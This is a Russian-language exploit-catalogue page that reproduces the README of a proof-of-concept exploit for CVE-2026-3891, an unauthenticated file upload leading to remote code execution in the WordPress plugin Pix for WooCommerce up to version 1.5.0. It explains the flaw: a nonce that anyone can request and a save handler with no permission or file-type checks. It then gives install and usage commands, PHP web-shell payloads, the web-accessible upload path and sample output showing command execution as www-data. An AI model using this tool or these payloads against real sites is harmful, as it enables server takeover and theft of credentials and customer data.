Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-3891 — PoC для CVE-2026-3891 – Неаутентифицированная загрузка файлов с RCE в Pix for WooCommerce ≤ 1.5.0. Автоматизированное получение nonce, загрузка PHP и выполнение команд. | Kitploit
Инструменты/GitHubGitHub/ch4120n/cve-2026-3891
ЭксплуатацияЭксплуатация веб-приложенийТестирование на Проникновение
GitHubch4120n/cve-2026-3891

CVE-2026-3891

PoC для CVE-2026-3891 – Неаутентифицированная загрузка файлов с RCE в Pix for WooCommerce ≤ 1.5.0. Автоматизированное получение nonce, загрузка PHP и выполнение команд.

Репозиторий
2101 месяц назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

🚀 CVE-2026-3891 – Неавторизованная загрузка файлов и RCE в Pix for WooCommerce

Python Exploit CVE

GitHub stars GitHub issues License

Эксплойт Proof‑of‑Concept для CVE-2026-3891 – неавторизованная произвольная загрузка файлов, ведущая к удалённому выполнению кода в плагине WordPress Pix for WooCommerce (≤ 1.5.0).


📖 Обзор

CVE-2026-3891 — критическая уязвимость в плагине Pix for WooCommerce, затрагивающая все версии вплоть до 1.5.0. Плагин не обеспечивает надлежащую проверку авторизации и типа файлов в своём AJAX-обработчике lkn_pix_for_woocommerce_c6_save_settings. Неавторизованный злоумышленник может воспользоваться этой ошибкой для загрузки произвольных PHP-файлов в общедоступную директорию и добиться удалённого выполнения кода на сервере WordPress.

Репозиторий содержит PoC производственного уровня, который автоматизирует всю цепочку атаки — от получения валидного nonce до загрузки веб-шелла — с надёжной обработкой ошибок и красивым CLI-интерфейсом.

🔍 Ключевые возможности

  • Полностью без аутентификации – не требуются учётные данные WordPress или сессионные cookie.
  • Автоматическое извлечение nonce – эксплойт получает необходимый security nonce через тот же публичный AJAX-интерфейс.
  • Multipart-загрузка файла – корректно формирует параметр файла certificate_crt_path, ожидаемый уязвимым обработчиком.
  • Генерация прямого URL – сразу предоставляет публичный URL загруженной полезной нагрузки.
  • Пост‑эксплуатационные проверки – опциональная проверка успешности загрузки и выполнение команд на лету (--check).
  • Продвинутая обработка ошибок – корректно обрабатывает Cloudflare, WAF, таймауты и некорректные ответы.
  • Чистый и информативный вывод – все сообщения имеют префиксы [ * ], [ + ], [ - ], [ ! ] для мгновенной читаемости.

🧬 Детали уязвимости

Корневая причина кроется в двух AJAX-действиях, регистрируемых плагином:

1. lkn_pix_for_woocommerce_generate_nonce

add_action('wp_ajax_nopriv_lkn_pix_for_woocommerce_generate_nonce', ...);

Это действие привязано к хуку wp_ajax_nopriv_*, что делает его доступным для неавторизованных посетителей. Оно генерирует nonce для действия lkn_pix_for_woocommerce_c6_settings_nonce и возвращает его в JSON-конверте:

{"success":true,"data":{"nonce":"abc123..."}}

Никакой проверки прав или аутентификации пользователя не выполняется – любой может запросить валидный nonce.

2. lkn_pix_for_woocommerce_c6_save_settings

add_action('wp_ajax_lkn_pix_for_woocommerce_c6_save_settings', ...);

Этот обработчик сохраняет настройки плагина, включая поле загрузки файла с именем certificate_crt_path. Хотя загрузка происходит через хелпер WordPress media_handle_upload, плагин не:

  • Проверяет, что запрос исходит от аутентифицированного авторизованного пользователя (отсутствует current_user_can).
  • Применяет какие-либо ограничения по типу или расширению файлов (например, допускает .php-файлы).
  • Сохраняет файл в месте, где исполнение невозможно, – он попадает в:
    wp-content/plugins/payment-gateway-pix-for-woocommerce/Includes/files/certs_c6/
    
    что напрямую доступно через веб.

Поскольку nonce защищает только от CSRF и может быть получен кем угодно, злоумышленник может объединить эти два действия для загрузки и выполнения произвольного PHP-кода.

Затронутые версии

  • Версии Pix for WooCommerce ≤ 1.5.0
  • Уязвимость подтверждена на чистых установках WordPress с конфигурацией по умолчанию.

Влияние

  • Удалённое выполнение кода – полный доступ к веб-шеллу с привилегиями веб-сервера (обычно www-data или apache).
  • Эксфильтрация данных – чтение wp-config.php, учётных данных БД, данных клиентов.
  • Закрепление – изменение основных файлов, внедрение бэкдоров.
  • Полный захват сайта – повышение привилегий до администратора WordPress при доступе к базе данных.

🛠️ Требования для эксплуатации

  • Сетевой доступ к целевому сайту WordPress (аутентификация не требуется).
  • Python 3.8+ с библиотекой requests (установка через pip install requests).
  • На цели должен быть установлен и активирован уязвимый плагин (достаточно конфигурации по умолчанию).

🚀 Использование

Установка

git clone https://github.com/Ch4120N/CVE-2026-3891.git
cd CVE-2026-3891
pip install -r requirements.txt   # requests

Базовая команда

python CVE-2026-3891.py http://target.com/wordpress

Для большего контроля используйте параметры командной строки:

python CVE-2026-3891.py https://example.com \
  -f shell.php \
  -p '<?php system($_GET["c"]); ?>' \
  --check \
  --timeout 20

Пример вывода

  ___  _  _  ____     ___   ___  ___    _       ___  ___  ___  __ 
 / __)( \/ )( ___)___(__ \ / _ \(__ \  / )  ___(__ )( _ )/ _ \/  )
( (__  \  /  )__)(___)/ _/( (_) )/ _/ / _ \(___)(_ \/ _ \\_  / )( 
 \___)  \/  (____)   (____)\___/(____)\___/    (___/\___/ (_/ (__)
                        [CVE-2026-3891]
          Pix for WooCommerce Unauthenticated File Upload
                         Owner: Ch4120N

[ * ] Warming up session (fetching homepage)...
[ * ] Homepage status: 200
[ * ] Requesting nonce (attempt 1/2)...
[ * ] Response status: 200
[ + ] Nonce obtained: 7e8f9a0b1c
[ * ] Uploading payload as woocommerce.php...
[ * ] Upload response status: 200
[ + ] Payload delivered to server.
[ * ] Verifying uploaded file at: http://192.168.56.102/wp-content/plugins/.../certs_c6/woocommerce.php
[ + ] File is accessible (HTTP 200).
[ + ] Webshell URL: http://192.168.56.102/wp-content/plugins/payment-gateway-pix-for-woocommerce/Includes/files/certs_c6/woocommerce.php

# Optional check:
[ * ] Checking shell with command: id
[ + ] Command output:
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Параметры командной строки

FlagОписаниеПо умолчанию
target (позиционный)Базовый URL сайта WordPress.Обязательно
-f, --filenameИмя загружаемого PHP-файла.woocommerce.php
-p, --payloadPHP-код для загрузки.<?php if(isset($_REQUEST["cmd"])){system($_REQUEST["cmd"]);} ?>
-t, --timeoutТаймаут запроса в секундах.15
-r, --retriesМаксимальное число повторных попыток получения nonce.2
--no-bannerСкрыть ASCII-баннер.(выкл.)
--no-verifyПропустить проверку доступности после загрузки.(выкл.)
--checkВыполнить id на веб-шелле после загрузки.(выкл.)

🧪 Технические детали для обнаружения и настройки

Endpoint генерации nonce

  • URL: http://target/wp-admin/admin-ajax.php
  • Action: lkn_pix_for_woocommerce_generate_nonce
  • Параметр: action_name=lkn_pix_for_woocommerce_c6_settings_nonce
  • Ответ: {"success":true,"data":{"nonce":"..."}}
  • Примечание: nonce всегда можно получить, поскольку действие регистрируется с wp_ajax_nopriv_*. Ни cookie, ни сессия не требуются.
Скачать инструмент